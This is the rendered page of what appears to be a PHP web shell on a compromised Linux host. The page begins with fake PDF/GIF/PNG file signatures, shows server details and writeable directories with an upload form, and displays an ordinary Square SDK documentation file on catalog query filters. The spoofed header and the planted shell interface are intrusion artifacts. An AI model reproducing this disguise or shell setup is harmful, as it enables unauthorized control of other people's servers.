%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/admin1/vendor/square/square/doc/models/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/admin1/vendor/square/square/doc/models/catalog-query.md
# Catalog Query

A query composed of one or more different types of filters to narrow the scope of targeted objects when calling the `SearchCatalogObjects` endpoint.

Although a query can have multiple filters, only certain query types can be combined per call to [SearchCatalogObjects](/doc/apis/catalog.md#search-catalog-objects).
Any combination of the following types may be used together:

- [exact_query](/doc/models/catalog-query-exact.md)
- [prefix_query](/doc/models/catalog-query-prefix.md)
- [range_query](/doc/models/catalog-query-range.md)
- [sorted_attribute_query](/doc/models/catalog-query-sorted-attribute.md)
- [text_query](/doc/models/catalog-query-text.md)
  All other query types cannot be combined with any others.

When a query filter is based on an attribute, the attribute must be searchable.
Searchable attributes are listed as follows, along their parent types that can be searched for with applicable query filters.

* Searchable attribute and objects queryable by searchable attributes **

- `name`:  `CatalogItem`, `CatalogItemVariation`, `CatalogCategory`, `CatalogTax`, `CatalogDiscount`, `CatalogModifier`, 'CatalogModifierList`,`CatalogItemOption`,`CatalogItemOptionValue`
- `description`: `CatalogItem`, `CatalogItemOptionValue`
- `abbreviation`: `CatalogItem`
- `upc`: `CatalogItemVariation`
- `sku`: `CatalogItemVariation`
- `caption`: `CatalogImage`
- `display_name`: `CatalogItemOption`

For example, to search for [CatalogItem](/doc/models/catalog-item.md) objects by searchable attributes, you can use
the `"name"`, `"description"`, or `"abbreviation"` attribute in an applicable query filter.

## Structure

`CatalogQuery`

## Fields

| Name | Type | Tags | Description | Getter | Setter |
|  --- | --- | --- | --- | --- | --- |
| `sortedAttributeQuery` | [`?CatalogQuerySortedAttribute`](/doc/models/catalog-query-sorted-attribute.md) | Optional | The query expression to specify the key to sort search results. | getSortedAttributeQuery(): ?CatalogQuerySortedAttribute | setSortedAttributeQuery(?CatalogQuerySortedAttribute sortedAttributeQuery): void |
| `exactQuery` | [`?CatalogQueryExact`](/doc/models/catalog-query-exact.md) | Optional | The query filter to return the search result by exact match of the specified attribute name and value. | getExactQuery(): ?CatalogQueryExact | setExactQuery(?CatalogQueryExact exactQuery): void |
| `setQuery` | [`?CatalogQuerySet`](/doc/models/catalog-query-set.md) | Optional | The query filter to return the search result(s) by exact match of the specified `attribute_name` and any of<br>the `attribute_values`. | getSetQuery(): ?CatalogQuerySet | setSetQuery(?CatalogQuerySet setQuery): void |
| `prefixQuery` | [`?CatalogQueryPrefix`](/doc/models/catalog-query-prefix.md) | Optional | The query filter to return the search result whose named attribute values are prefixed by the specified attribute value. | getPrefixQuery(): ?CatalogQueryPrefix | setPrefixQuery(?CatalogQueryPrefix prefixQuery): void |
| `rangeQuery` | [`?CatalogQueryRange`](/doc/models/catalog-query-range.md) | Optional | The query filter to return the search result whose named attribute values fall between the specified range. | getRangeQuery(): ?CatalogQueryRange | setRangeQuery(?CatalogQueryRange rangeQuery): void |
| `textQuery` | [`?CatalogQueryText`](/doc/models/catalog-query-text.md) | Optional | The query filter to return the search result whose searchable attribute values contain all of the specified keywords or tokens, independent of the token order or case. | getTextQuery(): ?CatalogQueryText | setTextQuery(?CatalogQueryText textQuery): void |
| `itemsForTaxQuery` | [`?CatalogQueryItemsForTax`](/doc/models/catalog-query-items-for-tax.md) | Optional | The query filter to return the items containing the specified tax IDs. | getItemsForTaxQuery(): ?CatalogQueryItemsForTax | setItemsForTaxQuery(?CatalogQueryItemsForTax itemsForTaxQuery): void |
| `itemsForModifierListQuery` | [`?CatalogQueryItemsForModifierList`](/doc/models/catalog-query-items-for-modifier-list.md) | Optional | The query filter to return the items containing the specified modifier list IDs. | getItemsForModifierListQuery(): ?CatalogQueryItemsForModifierList | setItemsForModifierListQuery(?CatalogQueryItemsForModifierList itemsForModifierListQuery): void |
| `itemsForItemOptionsQuery` | [`?CatalogQueryItemsForItemOptions`](/doc/models/catalog-query-items-for-item-options.md) | Optional | The query filter to return the items containing the specified item option IDs. | getItemsForItemOptionsQuery(): ?CatalogQueryItemsForItemOptions | setItemsForItemOptionsQuery(?CatalogQueryItemsForItemOptions itemsForItemOptionsQuery): void |
| `itemVariationsForItemOptionValuesQuery` | [`?CatalogQueryItemVariationsForItemOptionValues`](/doc/models/catalog-query-item-variations-for-item-option-values.md) | Optional | The query filter to return the item variations containing the specified item option value IDs. | getItemVariationsForItemOptionValuesQuery(): ?CatalogQueryItemVariationsForItemOptionValues | setItemVariationsForItemOptionValuesQuery(?CatalogQueryItemVariationsForItemOptionValues itemVariationsForItemOptionValuesQuery): void |

## Example (as JSON)

```json
{
  "sorted_attribute_query": {
    "attribute_name": "attribute_name0",
    "initial_attribute_value": "initial_attribute_value8",
    "sort_order": "DESC"
  },
  "exact_query": {
    "attribute_name": "attribute_name4",
    "attribute_value": "attribute_value6"
  },
  "set_query": {
    "attribute_name": "attribute_name2",
    "attribute_values": [
      "attribute_values6"
    ]
  },
  "prefix_query": {
    "attribute_name": "attribute_name6",
    "attribute_prefix": "attribute_prefix8"
  },
  "range_query": {
    "attribute_name": "attribute_name0",
    "attribute_min_value": 208,
    "attribute_max_value": 138
  }
}
```


VaKeR 2022